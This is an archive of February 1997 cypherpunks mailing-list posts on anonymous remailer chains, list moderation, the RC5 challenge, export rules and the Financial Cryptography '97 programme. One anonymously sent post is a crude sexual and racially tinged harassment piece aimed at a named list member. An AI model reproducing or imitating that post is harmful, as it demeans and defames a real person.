>	It appears that this was the problem.  Deal with a
>self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
>I wish that John had helped to resolve the problem before I made it
>public, but that's life.

John does have other things to do with his time, you know :-)
If you're abusing email syntax to fake out specialized mail/news handling, 
you shouldn't be surprised if it doesn't always fake out the parts
of the system you were trying to fake out....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 6 Feb 1997 14:43:12 -0800 (PST)
To: c.musselman@internetmci.com
Subject: Re: anonymous remailers
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Message-ID: <0myZru200YUh099eM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

c.musselman@internetmci.com (Charley Musselman) writes:
> C'punks --
>         When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

The solution is not to choose a trusted remailer, but to choose a
group of remailers and send your message through each one
sequentially. If you use encryption, and any one of the remailers you
send your message through is trustworthy, than it is difficult or
impossible for someone to trace your message.

Here are some places to go to find more info on remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the
bottom, there's everything you need to know there.)

Please bear in mind that anon.penet.fi no longer exists, and that it
wasn't all that secure when it did.

Hope this helps, and happy growing :-)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 6 Feb 1997 19:23:36 -0800 (PST)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: ITAR and Paper ROM
In-Reply-To: <199702061456.GAA24462@toad.com>
Message-ID: <970206.175211.5I9.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, stewarts@ix.netcom.com writes:

> More practically, sort of, there was the Cauzin Softstrip Reader,
> which cost about $200 and held enough data to distribute programs
> back when computers and programs were much smaller; a few PC magazines
> tried distributing programs by printing them in the back that way.
> Cute, but not cute enough to stick around very long.

Cauzin was bought by Eastman Kodak shortly after they started
advertising in the big rags (like _Byte_, which printed a test strip a
month or so before Cauzin made their big advertising push).  Cauzin was
even putting freeware programs in their ads.  At that time, Kodak was
just entering the soon-to-be-lucrative magnetic media market with their
floppy disk line.  I'd say they were bought and buried.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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LcehDOQMpbbj/lSdd/rC0raj7U38wuXZn84xi/bdbXWKwXzVKWaq3AwqRgLm9aBT
9NS0RZOiPEY=
=PFiP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <v03007806af1ff955a4a2@[198.115.179.81]>
Message-ID: <Pine.LNX.3.95.970206175027.1199B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 6 Feb 1997, Vin McLellan wrote:

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >To: "Wright Larry" <Wright_Larry@bah.com>
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.
> >
> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

Hmm..., word size, number of rounds, and key size are "clues"?  At least he
won't be able to make this claim when DES is cracked.  OTOH, he might consider
a known IV to be information not available under "infowar conditions."
Apparently, "Info Warriors" aren't supposed to be familiar with open standards.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

He considers a known-plaintext attack to be "a  giveway![sic]"?  It seems that
this guy could use a few clues himself.


Mark
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=ltSt
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: R.Hirschfeld@cwi.nl
Date: Thu, 6 Feb 1997 09:35:26 -0800 (PST)
To: ray@cwi.nl
Subject: revised FC97 program
Message-ID: <9702061733.AA09419=ray@zeus.cwi.nl>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
			 PRELIMINARY PROGRAM
		      (Revised 6 February 1997)


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.


Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA


Preliminary Conference Program for FC97:

Monday 24 February 1997

 800 --  820
    Breakfast

 820 --  830
    Welcome

 830 --  905
    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940
    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015
    Anonymous Networking and Virtual Intranets: Tools for Anonymous
        Corporations
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155
    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230
    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)

1230 -- 1330
    Lunch

1800 -- 1930
    Cocktail Reception (at Mariners Hotel)


Tuesday 25 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Evaluating the security of electronic money;
        the view of a European central bank
    Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands)

 930 -- 1005
    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120
    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155
    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230
    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)

1230 -- 1330
    Lunch


Wednesday 26 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005
    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120
    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155
    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230
    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)

1230 -- 1330
    Lunch


Thursday 27 February 1997

 800 --  830
    Breakfast

 830 --  905
    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

 905 --  940
    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015
    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

1230 -- 1330
    Lunch

1930 -- 2015
    Invited Speaker
    Money Laundering: Yesterday, Today and Tomorrow
    Peter Wayner (Baltimore, MD, USA)

2015 -- 2200
    Rump Session


Friday 28 February 1997

 800 --  830
    Breakfast

 830 --  905
    The Strategic Role of Government in Electronic Commerce
    Paul Lampru (Verifone, Atlanta, GA, USA)

 905 --  940
    Using Markets to Achieve Efficient Task Distribution
    Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands)

 940 -- 1015
    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155
    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230
    Secure Network Communications and Secure Store&Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)

1230 -- 1330
    Lunch


Updates of the conference schedule will be available at the URL
http://www.cwi.nl/conferences/FC97/.

The conference will run from 8:30 AM to 12:30 PM for five days,
February 24-28 1997.  Breakfast and lunch are provided at the
conference.  The conference organizers have left the afternoons and
evenings open for corporate sponsored events, for networking, and for
recreational activities on the resort island of Anguilla.
Participants are encouraged to bring their families.


Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues
and technology of financial cryptography, is planned in conjunction
with FC97, to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html.

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/.


Venue:

The InterIsland Hotel is a small 14-room guest house and a large,
comfortable 150 seat conference facility with additional space for a
small 10-booth exhibition.  The Inter-Island is on Road Bay, near
Sandy Ground Village, in the South Hill section of Anguilla.  The
conference, workshop, and exhibition will have TCP/IP internet access.
The rooms at the InterIsland itself have sold out, but there are many
other hotels and guest houses on Anguilla, and shuttle service to the
conference will be available.


Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or
St. Thomas for US flights, or St. Maarten/Martin for flights from
Europe and the US.

Anguillan import duties are not imposed on hardware or software which
will leave the island again. There are no other taxes--or cryptography
import/export restrictions--on Anguilla.

Hotels range from spartan to luxurious, and more information about
hotels on Anguilla can be obtained from your travel agent, or at the
URL http://www.offshore.com.ai/fc97/.


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission via the World Wide
Web at the URL http://www.offshore.com.ai/fc97/.

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie
Rackliffe, rackliffe@tcm.org.  Sponsorship opportunities for FC97 are
still available.

The cost of the workshop is US$5000, and includes meals but not
lodging.  You can register for the workshop, which runs the week prior
to the conference, at the URL http://www.offshore.com.ai/fc97.


Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
    <http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 18:38:11 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070237.SAA02731@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote:
>
>This attempted legislation (see forward, below) is a blessing in disguise.
>
>It's just more proof that book-entry commerce isn't going to work on the
>net in the long run.
[deleted]

>+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
>methods, is a derigeble. You're flying, but you're using minimally strong
>crypto like little aerodynamic fins to push the giant gas bag of book-entry
>settlement around.

Now, is that a helium or a HYDROGEN dirigible?!?

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 15:58:18 -0800 (PST)
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
In-Reply-To: <199702062301.PAA02200@toad.com>
Message-ID: <v03007807af201e9810ed@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:47 pm -0500 2/6/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>But Stanley Morris of the United States Treasury, who chaired a FAFT
>>working group which drafted the report, told a news conference that
>>law enforcement agencies would face 'very major new challenges' if new
>>technology moves the world "to a cashless society, beyond banks, cash
>>and borders."
>
>Oh No!  First they told us that they were all in favor of a cashless society
>because they could track all the transactions.  It was their Orwellian
>Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
>they make up their minds?
>
>I noticed the problem long about 1975 when I noticed that the spread of
>ATM cards was actually the spread of a bearer instrument and would
>not satisfy the control needs of the regulatory types.

In a geodesic network, any node which tries to process all the traffic
chokes. The network then routes, to paraphrase Gilmore, around it. :-).

I remember this pravda chart at CFP a year ago, where FinCEN was
"demonstrating" (in a chart with no Y-axis) their "increased supervisory
load" due to the exponentiating use of point to point electronic
transaction settlement.

Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a
poor monkey trying to put the cork back into a pig's butt comes to mind...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 6 Feb 1997 11:22:45 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
Message-ID: <855255622.101312.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

As I, and a number of other list members, have said: Why did you not 
rename the lists so that cypherpunks@toad.com was uncensored???
You and I know perfectly well that probably 1250 of those addresses 
are people who don`t know the censorship is taking place, don`t read 
the list (defunct accounts), don`t know how to change their 
subscription, are too lazy to care either way etc... I would guess 
there are less than 100 that have considered the issues and decided 
to subscribe to the censored list.

> If I was a social scientist I might want to run the experiment both
> ways, or six different ways.  Name it this, or name it that.  I'm not;
> all I want is something that works.  The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

No, it was usable to those with time and patience or the rather 
rudimentary knowledge necessary to set up filters. Now all we are 
doing is relegating a list that was once subscribed to by intelligent 
and well educated people into a playground for the inept. I`m not 
being elitist but if we can`t expect a member of this list who 
actually uses it for discussion to know how to set up filters then he 
might as well unsubscribe.
 

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.  "Asking the list what to do" was clearly not a useful
> option.  Sandy cared enough about the community to make some concrete
> suggestions to me about how to get the list back on track.  They
> involved a lot more work than the previous setup.  I told him if he
> was willing to do the work, we could try it.  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

You should indeed have shut down the list. The problem being not that 
you choose to run a censored list but that you have associated the 
name cypherpunks with it and in doing so you have destroyed the 
reputation that the name cypherpunks once had.

> Unpaid labor for a peanut gallery of spoiled children isn't very
> gratifying.

Paternalism is the root of all statism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 6 Feb 1997 19:28:22 -0800 (PST)
To: Charley Musselman <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <3.0.32.19970206192301.006e2260@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 09:19 PM 2/6/97 +0000, Charley Musselman wrote:
>C'punks --
>	When I told a friend about the alt.drugs.pot cultivation newsgroup
>and suggested that he use an anonymous remailer to post to the group,
>he laughed and said, "Who do you suppose runs the remailers?  ATF,
>FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>anyone know the answer?  Specifically, how can we choose a trusted
>remailer?

There is no such thing as a trusted remailer, unless you know and trust the
remailer operator. That's why one should use remailer chains. If only one
remailer in the chain is run by a non-TLA operator, you are safe.

Just for the record, I know numerous remailer operators. I am convinced
that neither of them works for any TLA in any way. YMMV.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Thu, 6 Feb 1997 16:34:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu>
Message-ID: <32FA7951.38A3@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


lcs Remailer Administrator wrote:
> 
> Because of recent attacks on the remailer network and mail2news
> gateways, I may loose access to at least one of the news servers I
> currently feed news to from my mail2news gateway.
> 
> If you are a news administrator, believe in free speech and anonymity,
> and you would like to help the cause, please consider giving transfer
> (aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
> not be the only server, and so do not need to worry about being the
> point of entrance of mail2news articles to Usenet.
> 
> Please contact me if you can help.  Thank you.
> 
> For those who oppose the existence of mail2news gateways, you should
> know that we are taking steps to limit the abuse.  However, doing so
> without in any way limiting articles that abide by the usage policy is
> tricky, and must be done carefully.  Please be patient.


  I'm writing from the Freedom Knights list but am in no way
representing them.
  
  What exactly do you mean by 'taking steps to limit the abuse'?  
Personally I think much of what is called abuse is nonsense and
that all posts, with the exception of cancels/NoCems should be
propogated regardless of content (including what is currently
referred to as spam).

  Also--could you forward to the Freedom Knights list a copy of
your 'usage policy' and impressions on the Freedom Knights two
FAQs.

  Thanks,

  Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 19:46:29 -0800 (PST)
To: lcs Remailer Administrator <mail2news@anon.lcs.mit.edu
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <19970206221726.11238.qmail@anon.lcs.mit.edu>
Message-ID: <v03007804af2053e3c144@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain


I would be happy to provide access to news.cyberpass.net (its good to be
the King). Just let me know the machine name and IP.

	-Lance

At 2:17 PM -0800 2/6/97, lcs Remailer Administrator wrote:
>Because of recent attacks on the remailer network and mail2news
>gateways, I may loose access to at least one of the news servers I
>currently feed news to from my mail2news gateway.
>
>If you are a news administrator, believe in free speech and anonymity,
>and you would like to help the cause, please consider giving transfer
>(aka "IHAVE" or "hosts.nntp") privileges to this machine.  You will
>not be the only server, and so do not need to worry about being the
>point of entrance of mail2news articles to Usenet.
>
>Please contact me if you can help.  Thank you.
>
>For those who oppose the existence of mail2news gateways, you should
>know that we are taking steps to limit the abuse.  However, doing so
>without in any way limiting articles that abide by the usage policy is
>tricky, and must be done carefully.  Please be patient.


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zinc <zinc@zifi.genetics.utah.edu>
Date: Thu, 6 Feb 1997 18:47:44 -0800 (PST)
To: cryptography@c2.net
Subject: lead remailer is shut down
Message-ID: <lv6805fi2q.fsf@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

-----BEGIN PGP SIGNED MESSAGE-----

hi,

i came in today to find they (university system admins) had pulled the
plug on my machine.  this is all because some luser spammed usenet
using the remailer on my machine.  thanks a lot.

so, the lead remailer is gone for good; it lasted almost exactly one
year. 

it was nice while it lasted.

- -patrick finerty
biochem grad student, u of utah

- -- 
"Those that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin (1773)
		   finger zinc-pgp@zifi for PGP key
zifi runs LINUX 2.0.28  -=-=-=WEB=-=-=->  http://zifi.genetics.utah.edu

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L
6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE
4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt
clfXhusEPPg=
=0fse
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 6 Feb 1997 20:01:51 -0800 (PST)
To: Bill Stewart <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <199702061921.LAA28330@toad.com>
Message-ID: <v03007808af205735893e@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


It would be a trivial hack for Mixmaster. It allways knows if a message if
going to another remailer, or if this is the last hop, so it can add the
disclaimer only on the last hop.

	-Lance

At 4:06 PM -0800 2/6/97, Bill Stewart wrote:
>At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>>> People don't read mail headers or disclaimers at the bottom,
>>> and putting disclaimers like that into message text for
>>> email exposes the message to traffic analysis.)
>
>>How does putting it in the message expose it to traffic analysis but not
>>putting it in a header?
>
>Suppose you're sending a message on a remailer chain of
>you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
>and Bob puts lots of disclaimers in his remailer's outgoing messages.
>Anything Bob puts in a header will get stripped out by Charlie,
>so it's no problem.  However, if Bob tacks a disclaimer
>as the bottom text in the outgoing message, when Eve sends
>mail to Fred she'll also see the disclaimer that
>	The message was sent by an anonymous user
>	through the remailer at Bob's Remailer Shack.
>	Bob doesn't know who sent it, and doesn't keep records,
>	so he can't squash the user, but he can block mail to you
>	if you don't want any more anonymous email.
>	Don't believe everything you read!
>so she'll know to check the FBI Illegal Wiretap files for Bob.
>
>Some comments and backtracking
>0) Of course, if you want to avoid traffic analysis,
>sending unencrypted email is pretty stupid, and only the
>next hop is going to see a disclaimer that you append
>after the encrypted part of the message.
>
>1) Prepending the disclaimer to the message body is
>pretty unfriendly to the :: syntax, and not all that
>great for PGP encrypted messages either.  Pretend I
>really just suggested appending it at the end,
>since that's what I would have said if I'd been thinking :-)
>
>On the other hand, I suppose that you can see whether the
>next hop is a Type I remailer by looking for the :: or ##.
>
>2) Cutmarks would be a nice fix, but they require too much
>attention to detail to get right, in case the next hop
>is a remailer.
>
>So maybe you _should_ always put in the disclaimer,
>at the end, with a reminder to always encrypt your
>remailer-chain mail if you want to avoid traffic analysis :-)
>
>
>
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)


----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Feb 1997 12:05:23 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <199702062003.UAA00333@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things

William Murray used to post frequently to sci.crypt, alt.security.pgp,
etc when I read those forums.  He also I think wrote the forword for
one of the books on using PGP.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 6 Feb 1997 17:18:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Secure checksums
Message-ID: <199702070118.UAA32554@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto 
heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with 
girdle underneath to keep in his flabby gut, a Fredericks of Hollywood 
padded bra also underneath the halter, a cheap Naomi Sims pink afro 
wig, waiting to yank his crank whenever a black man responds to one of 
his inane rants.

               __
           ___|[]| Timothy C[reep] May
       \__|______|
       /-(o_o_o_o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 7 Feb 1997 19:24:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enlightened commentary on Netizen.
Message-ID: <9702062041.ZM18929@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


First, Rebecca Vesely has a special report, the main thrust
of which is that three firms being allowed to export 56 bit
encryption indicates flexibility on the part of the
government.

http://www.netizen.com/netizen/97/05/special2a.html

To top it off, here are two gems from the followup discussion.

http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387

2. 56 ONLY A SLIGHTLY SMALLER JOKE
    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST

